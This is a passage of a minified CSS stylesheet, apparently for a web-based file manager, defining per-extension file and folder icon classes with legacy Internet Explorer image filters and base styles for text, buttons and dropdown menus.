\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text 